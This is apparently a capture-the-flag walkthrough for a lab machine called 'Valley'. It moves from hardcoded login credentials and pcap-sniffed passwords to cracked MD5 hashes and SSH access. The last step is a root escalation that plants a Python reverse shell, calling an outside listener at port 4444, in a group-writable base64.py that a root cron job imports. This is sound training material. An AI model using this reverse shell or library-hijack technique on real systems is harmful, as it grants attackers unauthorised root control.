dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alertsLogin page
http://10.10.97.14/dev1243224123123/
In the JavaScript on the login page (http://10.10.97.14/dev1243224123123/dev.js):
if (username === "siemDev" && password === "california") {
window.location.href = "/dev1243224123123/devNotes37370.txt";
}http://10.10.97.14/dev1243224123123/devNotes37370.txt
dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal portFTP login
ftp ftp://siemDev:california@10.10.97.14:37370USER
From the siemHTTP2.pcapng file we filter on http.request.method == POST and find:
uname=valleyDev&psw=ph0t0s1234&remember=onHTTP/1.1 200 OK
ssh valleyDev@10.10.97.14 # -> ph0t0s1234ROOT
$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
valley:x:1000:1000:,,,:/home/valley:/bin/bash
siemDev:x:1001:1001::/home/siemDev/ftp:/bin/sh
valleyDev:x:1002:1002::/home/valleyDev:/bin/bashscp valleyDev@10.10.97.14:/home/valleyAuthenticator . # -> ph0t0s1234Running strings on the binary shows its packed with UPX, unpacking it:
upx -d -o unpacked valleyAuthenticatorRunning strings on it:
strings unpacked > unpacked.stringsIn the strings output we find two hashes:
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfbPutting those in https://crackstation.net/ shows:
e6722920bab2326f8217e4bf6b1b58ac md5 liberty123
dd2921cc76ee3abfd2beb60709056cfb md5 valleyusername: valley
password: liberty123ssh valley@10.10.54.57 # -> liberty123ROOT
User valley is member of the valleyAdmin group.
alley@valley:~/exp_dir$ groups
valley valleyAdminSearching for files this group can access:
valley@valley:~/exp_dir$ find / -group valleyAdmin 2>/dev/null
/usr/lib/python3.8
/usr/lib/python3.8/base64.pyChecking the cronjobs:
cat /etc/crontab
...[snip]...
1 * * * * root python3 /photos/script/photosEncrypt.pyIn this script the base64 library is imported:
#!/usr/bin/python3
import base64
for i in range(1,7):
...[snip]...We can put a simple Python reverse shell in the /usr/lib/python3.8/base64.py:
import os,pty,socket
s=socket.socket()
s.connect(("10.8.119.137",4444))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")and start a listener on port 4444, on the next minute it should execute and return a root shell.